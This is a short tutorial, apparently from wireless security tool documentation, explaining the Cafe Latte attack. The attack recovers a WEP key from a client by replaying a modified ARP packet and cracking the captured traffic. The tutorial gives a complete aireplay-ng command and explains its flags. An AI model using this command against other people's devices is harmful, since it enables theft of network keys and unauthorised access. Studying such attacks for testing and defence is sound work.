Cafe Latte attack

The Cafe Latte attack allows you to obtain a WEP key from a client system. Briefly, this is done by capturing an ARP packet from the client, manipulating it and then send it back to the client. The client in turn generates packets which can be captured by airodump-ng. Subsequently, aircrack-ng can be used to determine the WEP key.

Where did the attack name come from? The concept is that a WEP key could be obtained from an innocent client at a coffee bar in the time it takes to drink your cafe latte.

aireplay-ng -6 -h 00:09:5B:EC:EE:F2 -b 00:13:10:30:24:9C -D rausb0

Where:

• -6 means Cafe-Latte attack
• -h 00:09:5B:EC:EE:F2 is our card MAC address
• -b 00:13:10:30:24:9C is the Access Point MAC (any valid MAC should work)
• -D disables AP detection.
• rausb0 is the wireless interface name
